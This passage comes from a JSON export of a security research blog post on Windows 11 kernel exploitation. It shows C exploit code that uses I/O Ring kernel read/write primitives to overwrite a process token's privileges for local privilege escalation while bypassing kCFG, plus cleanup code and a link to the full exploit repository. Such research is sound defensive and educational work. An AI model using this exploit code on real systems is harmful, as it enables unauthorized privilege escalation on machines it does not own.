NULL;\r\n        PVOID tokenAddr = NULL;\r\n        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &amp;TokenHandle))\r\n            tokenAddr = GetKAddrFromHandle(TokenHandle);\r\n        printf(\"[+] tokenHandle = 0x%p\\n\", TokenHandle);\r\n        printf(\"[+] tokenAddr = 0x%p\\n\", tokenAddr);\r\n    \r\n        _SEP_TOKEN_PRIVILEGES original_privs = { 0 };\r\n    \r\n        printf(\"[*] Reading original token privileges...\\n\");\r\n    \r\n        KRead((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE)&amp;original_privs, sizeof(original_privs));\r\n        printf(\"[+] original_privs.Present = 0x%llx\\n\", original_privs.Present);\r\n        printf(\"[+] original_privs.Enabled = 0x%llx\\n\", original_privs.Enabled);\r\n        printf(\"[+] original_privs.EnabledByDefault = 0x%llx\\n\", original_privs.EnabledByDefault);\r\n        \/\/KRead64((PVOID)((DWORD64)tokenAddr + 0x40), (PDWORD64)&amp;tokenAddr);\r\n    \r\n        _SEP_TOKEN_PRIVILEGES privs = { 0 };\r\n        privs.Enabled = 0x0000001ff2ffffbc;\r\n        privs.Present = 0x0000001ff2ffffbc;\r\n        privs.EnabledByDefault = original_privs.EnabledByDefault;\r\n    \r\n        printf(\"[*] Writing token privileges...\\n\");\r\n    #ifdef _DEBUG\r\n        getchar();\r\n    #endif\r\n        KWrite((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE) &amp; privs, sizeof(privs));\r\n    \r\n        printf(\"[*] Reading modified token privileges...\\n\");\r\n        _SEP_TOKEN_PRIVILEGES modified_privs = { 0 };\r\n        KRead((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE)&amp;modified_privs, sizeof(modified_privs));\r\n        printf(\"[+] modified_privs.Present = 0x%llx\\n\", modified_privs.Present);\r\n        printf(\"[+] modified_privs.Enabled = 0x%llx\\n\", modified_privs.Enabled);\r\n        printf(\"[+] modified_privs.EnabledByDefault = 0x%llx\\n\", modified_privs.EnabledByDefault);\r\n        return;\r\n    }<\/pre>\r\n<h3>Cleaning up<\/h3>\r\n<p>As outlined in this <a href=\"https:\/\/windows-internals.com\/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11\/\">blog post<\/a>, when using I\/O ring we have to reset _IORING_OBJECT.RegBuffers<strong>\u00a0<\/strong>and the _IORING_OBJECT.RegBuffersCount to zero. In addition, since we pre-registered a buffer it is also recommended to decrement the reference count of the process. We are going to implement all of this in our <em>cleanup()\u00a0<\/em>function.<\/p>\r\n<p>We first get a <strong>handle<\/strong> to the <strong>current process<\/strong>, <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">hProc<\/code> and then we obtain <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">eproc<\/code>, the <strong>kernel address<\/strong> of the corresponding <a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\/_EPROCESS\">_EPROCESS<\/a> struct by calling <em>GetKAddrFromHandle()<\/em>. We finally use <em>KRead()<\/em> and <em>KWrite()<\/em> to update the reference count at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">eproc-0x30<\/code>(_EPROCESS is always preceeded by an <a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\/_OBJECT_HEADER\">_OBJECT_HEADER<\/a> struct that <strong>keeps track of the reference count<\/strong> in the <a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\/_OBJECT_HEADER\">PointerCount<\/a> field).<\/p>\r\n<p>After that we just need to issue one last <em>KWrite()<\/em> that sets _IORING_OBJECT.RegBuffers<strong>\u00a0<\/strong>and the _IORING_OBJECT.RegBuffersCount to zero.<\/p>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">VOID cleanup() {\r\n    \r\n        auto hProc = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());\r\n    \r\n        if (hProc != NULL)\r\n        {\r\n            auto eproc = GetKAddrFromHandle(hProc);\r\n            printf(\"[+] eproc = 0x%p\\n\", eproc);\r\n            DWORD64 refCount = NULL;\r\n            if (KRead((PVOID)((DWORD64)eproc - 0x30), (PBYTE)&amp;refCount, sizeof(DWORD64))) {\r\n                printf(\"[+] refCount = 0x%llx\\n\", refCount);\r\n                if (refCount &gt; 0) {\r\n                    printf(\"[*] refCount &gt; 0\\n\");\r\n                    refCount--;\r\n                    if (KWrite((PVOID)((DWORD64)eproc - 0x30), (PBYTE)&amp;refCount, sizeof(DWORD64))) {\r\n                        printf(\"[+] refCount decremented\\n\");\r\n                    }\r\n                    else {\r\n                        printf(\"[-] Failed to decrement refCount\\n\");\r\n                    }\r\n                }\r\n                else {\r\n                    printf(\"[*] refCount &lt;= 0\\n\");\r\n                }\r\n            }\r\n            else {\r\n                printf(\"[-] Failed to read refCount\\n\");\r\n            }\r\n        }\r\n        else {\r\n            printf(\"[-] Failed to open handle to current process.\\n\");\r\n        }\r\n    \r\n        auto towrite = malloc(16);\r\n        memset(towrite, 0x0, 16);\r\n        printf(\"[*] Cleaning up...\\n\");\r\n        printf(\"[*] Setting RegBuffersCount and RegBuffers to 0.\\n\");\r\n    #ifdef _DEBUG\r\n        getchar();\r\n    #endif\r\n        if (!KWrite((PVOID)((DWORD64)ioringaddress + 0xb0), (PBYTE)towrite,16)) {\r\n            printf(\"[-] cleanup failed during Kwrite64\\n\");\r\n        }\r\n        puioring-&gt;RegBufferArray = NULL;\r\n        puioring-&gt;BufferArraySize = 0;\r\n        if (g_device != INVALID_HANDLE_VALUE) {\r\n            CloseHandle(g_device);\r\n        }\r\n        if (puioring != NULL) {\r\n            CloseIoRing((HIORING)puioring);\r\n        }\r\n    }<\/pre>\r\n<h3>Launching the exploit<\/h3>\r\n<p>Now we can run the exploit and notice <strong>we can successfully elevate our privileges bypassing kCFG!<\/strong><\/p>\r\n<figure id=\"attachment_4356\" aria-describedby=\"caption-attachment-4356\" style=\"width: 941px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4356 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-10-1.png\" alt=\"\" width=\"941\" height=\"921\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-10-1.png 941w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-10-1-300x294.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-10-1-768x752.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-10-1-350x343.png 350w\" sizes=\"(max-width: 941px) 100vw, 941px\" \/><figcaption id=\"caption-attachment-4356\" class=\"wp-caption-text\">Running our modified exploit and getting LPE<\/figcaption><\/figure>\r\n<p>Full exploit code is available in the <a href=\"https:\/\/github.com\/MrAle98\/ATDCM64a-LPE\/tree\/vbs\"><strong>branch<\/strong> <strong>named vbs<\/strong> of the GitHub repo<\/a>.<\/p>\r\n<p><em>Note: In the code I&#8217;ve also added how to use the gadget to <strong>only elevate token privileges<\/strong>. It should be enough to uncomment the line <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">\/\/#define TOKENPRIV 1<\/code> to test it.<\/em><\/p>\r\n<h2>Conclusion<\/h2>\r\n<p>In this article, I briefly introduced the <strong>HVCI and kCFG <\/strong><strong>security mitigations <\/strong>and their impact on our original <a href=\"https:\/\/hnsecurity.it\/tag\/atdcm64a\/\">exploit<\/a>. After that I described a way to <strong>bypass kCFG<\/strong> and I&#8217;ve shown how to <strong>use the I\/O Ring technique to obtain an arbitrary read\/write primitive<\/strong> in kernel space. Finally, I&#8217;ve shown how to craft an exploit that, using such read\/write primitive, <strong>elevates the current process&#8217;s token privileges<\/strong>.<\/p>\r\n<h2>Credits<\/h2>\r\n<ul>\r\n<li><a href=\"https:\/\/connormcgarr.github.io\/\">Connor McGarr<\/a> for his blog post on HVCI and the other security mitigations in the Windows kernel.<\/li>\r\n<li><a href=\"https:\/\/voidsec.com\/\">Paolo Stagno<\/a> and <a href=\"https:\/\/x.com\/tykawaii98\">@tykawaii98<\/a> for their blog post on how to bypass kCFG and the discovery of the gadget.<\/li>\r\n<li><a href=\"https:\/\/x.com\/yarden_shafir\">Yarden Shafir<\/a> for the discovery and explanation of the I\/O Ring technique, used to obtain arbitrary read\/write.<\/li>\r\n<\/ul>\r\n<h2>Contacts<\/h2>\r\n<p>If you have any questions, feel free to reach out at:<\/p>\r\n<ul>\r\n<li><a href=\"https:\/\/x.com\/MrAle_98\">X<\/a><\/li>\r\n<li><a href=\"https:\/\/www.linkedin.com\/in\/alessandro-iandoli-86a19b211\/\">Linkedin<\/a><\/li>\r\n<\/ul>\r\n","protected":false},"excerpt":{"rendered":"<p>In the last part of this Windows kernel exploitation series, we successfully exploited an arbitrary pointer dereference, bypassing SMEP and [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":159895,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[78,81],"tags":[191,209,210,77,82,135,189],"class_list":["post-4228","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-exploits","category-vulnerabilities","tag-red-teaming","tag-atdcm64a","tag-exploit-development","tag-exploit","tag-vulnerability-research","tag-windows","tag-tutorial"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>HN Security - From arbitrary pointer dereference to arbitrary read\/write in latest Windows 11 -<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HN Security - From arbitrary pointer dereference to arbitrary read\/write in latest Windows 11 -\" \/>\n<meta property=\"og:description\" content=\"In the last part of this Windows kernel exploitation series, we successfully exploited an arbitrary pointer dereference, bypassing SMEP and [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/\" \/>\n<meta property=\"og:site_name\" content=\"HN Security\" \/>\n<meta property=\"article:published_time\" content=\"2025-01-15T08:44:29+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-09-29T10:54:22+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"836\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Alessandro Iandoli\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hnsec\" \/>\n<meta name=\"twitter:site\" content=\"@hnsec\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Alessandro Iandoli\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"17 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/\"},\"author\":{\"name\":\"Alessandro Iandoli\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/7883a9c36dac7694ca101137125d5fff\"},\"headline\":\"From arbitrary pointer dereference to arbitrary read\\\/write in latest Windows 11\",\"datePublished\":\"2025-01-15T08:44:29+00:00\",\"dateModified\":\"2025-09-29T10:54:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/\"},\"wordCount\":3417,\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/AMD.jpg\",\"keywords\":[\"red teaming\",\"atdcm64a\",\"exploit development\",\"exploit\",\"vulnerability research\",\"windows\",\"Tutorial\"],\"articleSection\":[\"Exploits\",\"Vulnerabilities\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/\",\"name\":\"HN Security - From arbitrary pointer dereference to arbitrary read\\\/write in latest Windows 11 -\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/AMD.jpg\",\"datePublished\":\"2025-01-15T08:44:29+00:00\",\"dateModified\":\"2025-09-29T10:54:22+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/#primaryimage\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/AMD.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/AMD.jpg\",\"width\":1600,\"height\":836},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"From arbitrary pointer dereference to arbitrary read\\\/write in latest Windows 11\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"name\":\"HN Security\",\"description\":\"Offensive Security Specialists\",\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\",\"name\":\"HN Security\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"width\":696,\"height\":696,\"caption\":\"HN Security\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/hnsec\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/hnsecurity\\\/\",\"https:\\\/\\\/github.com\\\/hnsecurity\",\"https:\\\/\\\/infosec.exchange\\\/@hnsec\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/7883a9c36dac7694ca101137125d5fff\",\"name\":\"Alessandro Iandoli\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g\",\"caption\":\"Alessandro Iandoli\"},\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/author\\\/ale98\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HN Security - From arbitrary pointer dereference to arbitrary read\/write in latest Windows 11 -","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/","og_locale":"it_IT","og_type":"article","og_title":"HN Security - From arbitrary pointer dereference to arbitrary read\/write in latest Windows 11 -","og_description":"In the last part of this Windows kernel exploitation series, we successfully exploited an arbitrary pointer dereference, bypassing SMEP and [&hellip;]","og_url":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/","og_site_name":"HN Security","article_published_time":"2025-01-15T08:44:29+00:00","article_modified_time":"2025-09-29T10:54:22+00:00","og_image":[{"width":1600,"height":836,"url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","type":"image\/jpeg"}],"author":"Alessandro Iandoli","twitter_card":"summary_large_image","twitter_creator":"@hnsec","twitter_site":"@hnsec","twitter_misc":{"Scritto da":"Alessandro Iandoli","Tempo di lettura stimato":"17 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/#article","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/"},"author":{"name":"Alessandro Iandoli","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/7883a9c36dac7694ca101137125d5fff"},"headline":"From arbitrary pointer dereference to arbitrary read\/write in latest Windows 11","datePublished":"2025-01-15T08:44:29+00:00","dateModified":"2025-09-29T10:54:22+00:00","mainEntityOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/"},"wordCount":3417,"publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","keywords":["red teaming","atdcm64a","exploit development","exploit","vulnerability research","windows","Tutorial"],"articleSection":["Exploits","Vulnerabilities"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/","url":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/","name":"HN Security - From arbitrary pointer dereference to arbitrary read\/write in latest Windows 11 -","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/#primaryimage"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","datePublished":"2025-01-15T08:44:29+00:00","dateModified":"2025-09-29T10:54:22+00:00","breadcrumb":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/#primaryimage","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","width":1600,"height":836},{"@type":"BreadcrumbList","@id":"https:\/\/hnsecurity.it\/it\/blog\/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hnsecurity.it\/it\/"},{"@type":"ListItem","position":2,"name":"From arbitrary pointer dereference to arbitrary read\/write in latest Windows 11"}]},{"@type":"WebSite","@id":"https:\/\/hnsecurity.it\/it\/#website","url":"https:\/\/hnsecurity.it\/it\/","name":"HN Security","description":"Offensive Security Specialists","publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hnsecurity.it\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/hnsecurity.it\/it\/#organization","name":"HN Security","url":"https:\/\/hnsecurity.it\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","width":696,"height":696,"caption":"HN Security"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/hnsec","https:\/\/www.linkedin.com\/company\/hnsecurity\/","https:\/\/github.com\/hnsecurity","https:\/\/infosec.exchange\/@hnsec"]},{"@type":"Person","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/7883a9c36dac7694ca101137125d5fff","name":"Alessandro Iandoli","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g","caption":"Alessandro Iandoli"},"url":"https:\/\/hnsecurity.it\/it\/blog\/author\/ale98\/"}]}},"jetpack_featured_media_url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","_links":{"self":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/4228","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/comments?post=4228"}],"version-history":[{"count":3,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/4228\/revisions"}],"predecessor-version":[{"id":161063,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/4228\/revisions\/161063"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media\/159895"}],"wp:attachment":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media?parent=4228"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/categories?post=4228"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/tags?post=4228"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}